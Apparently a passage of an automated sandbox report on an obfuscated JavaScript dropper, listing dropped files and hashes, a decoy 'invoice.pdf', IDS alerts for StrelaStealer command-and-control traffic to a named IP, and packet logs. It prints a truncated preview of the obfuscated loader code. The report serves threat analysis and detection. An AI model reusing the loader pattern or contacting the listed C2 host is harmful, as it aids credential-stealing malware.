Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\7c5e9efe-f579-4f69-abdf-8ae2f22504ea.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\ace98c07-ea3a-49dc-be2c-88a76dad20c3.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (10564), with no line terminators
Entropy (8bit):	4.9796057545968475
TrID:
File name:	16910148382611315301.js
File size:	10'564 bytes
MD5:	fee0cad1b58f869ed5c2db65e8f7ad90
SHA1:	27266459f014451e8631bd1455710aab9d534ed0
SHA256:	a3f6ff69ff85fc17c609eade5c7c334c3a8e0824d003b9ffa6985d5691f918ac
SHA512:	cf4a3924d0699cc079fc7fd31f7862bb6e875bcb0c8e473bca0ce2260e55d4c8669df4fd4be9ab4ae7c70919d31afea24f9ce91781306abeea33cdd46ff24056
SSDEEP:	192:yeLiT424Do5kgCDgxxIxuSxuo2O7qiTpS1KaIA3m3l979x999f9t9j9uYuJhkdka:ygiT424Do5LCW7toxbH13ZuYuJhkdk3K
TLSH:	122255AFFD3D866A16DA707FCA56DD03F988531D496C9018FA529AC8162CE0CD9F0C72
File Content Preview:	function gonqxz(){this[yxigmec+jenoysdn+pfgvhngry+fqcnurhg]("btwtpw=[1031,3079,5127,4103,2055,3072];var hycytnza=this[ownbq+pfgvhngry+bocfghubu+odknmmnhv+yxigmec+xjtin+ffcnwm+tyahrd](this[qqcamz+pwrwk+vhlmihmu+bocfghubu+ihokqrx+ownbq+tyahrd][ietxgkah+bocf

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-13T08:46:00.876513+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.5	49704	193.143.1.205	80	TCP
2025-01-13T08:46:00.876513+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.5	49704	193.143.1.205	80	TCP
2025-01-13T08:46:03.032639+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.5	49705	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 13, 2025 08:46:00.031095028 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:00.036263943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:00.036344051 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:00.040648937 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:00.045531988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:00.876380920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:00.876404047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:00.876411915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:00.876420021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:00.876427889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:00.876435995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:00.876451015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:00.876458883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:00.876467943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:00.876476049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:00.876513004 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:00.876588106 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:00.930566072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:00.930584908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:00.930598974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:00.930680990 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.061121941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.061147928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.061161995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.061176062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.061192036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.061228037 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.061275005 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.061549902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.061564922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.061578989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.061590910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.061614037 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.061662912 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.062072039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.062086105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.062100887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.062117100 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.062125921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.062155008 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.062702894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.062716961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.062736988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.062751055 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.062776089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.062792063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.062805891 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.062829971 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.063594103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.063608885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.063622952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.063636065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.063646078 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.063652992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.063672066 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.066848040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.066898108 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.153529882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.153548002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.153693914 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.191425085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.191442966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.191490889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.191498995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.191507101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.191612959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.191627026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.191641092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.191653967 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.191694021 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.191884995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.191906929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.191921949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.191935062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.191943884 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.191952944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.191973925 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.192420006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.192434072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.192449093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.192461967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.192466974 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.192476988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.192491055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.192496061 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.192504883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.192509890 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.192519903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.192565918 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.193247080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.193260908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.193274975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.193289995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.193290949 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.193305016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.193306923 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.193317890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.193332911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.193339109 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.193353891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.193368912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.193372965 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.193418026 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.194094896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.194108963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.194123030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.194135904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.194147110 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.194152117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.194165945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.194168091 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.194180012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.194194078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.194202900 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.194210052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.194243908 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.195003033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.195017099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.195030928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.195038080 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.195044994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.195059061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.195065022 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.195072889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.195086956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.195095062 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.195102930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.195122004 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.235614061 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.245925903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.245945930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.245960951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.245987892 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.283902884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.283961058 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.321989059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.322031975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.322046041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.322062016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.322077990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.322087049 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.322107077 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.322110891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.322134972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.322165966 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.322223902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.322240114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.322252989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.322257042 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.322285891 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.322402954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.322417021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.322432041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.322446108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.322458029 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.322483063 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.322597027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.322611094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.322626114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.322647095 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.322747946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.322762012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.322788000 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.322814941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.322837114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.322851896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.322860003 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.322865963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.322880983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.322887897 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.322895050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.322909117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.322923899 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.322941065 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.323355913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.323369980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.323384047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.323410034 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.323499918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.323513985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.323528051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.323533058 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.323561907 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.323647022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.323662043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.323674917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.323688984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.323695898 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.323703051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.323717117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.323720932 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.323731899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.323746920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.323761940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.323764086 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.323776007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.323790073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.323792934 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.323805094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.323811054 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.323848963 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.324589968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.324610949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.324625969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.324640036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.324650049 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.324662924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.324673891 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.324677944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.324692011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.324704885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.324719906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.324722052 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.324733973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.324749947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.324753046 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.324764967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.324770927 CET	49704	80	192.168.2.5	193.143.1.205
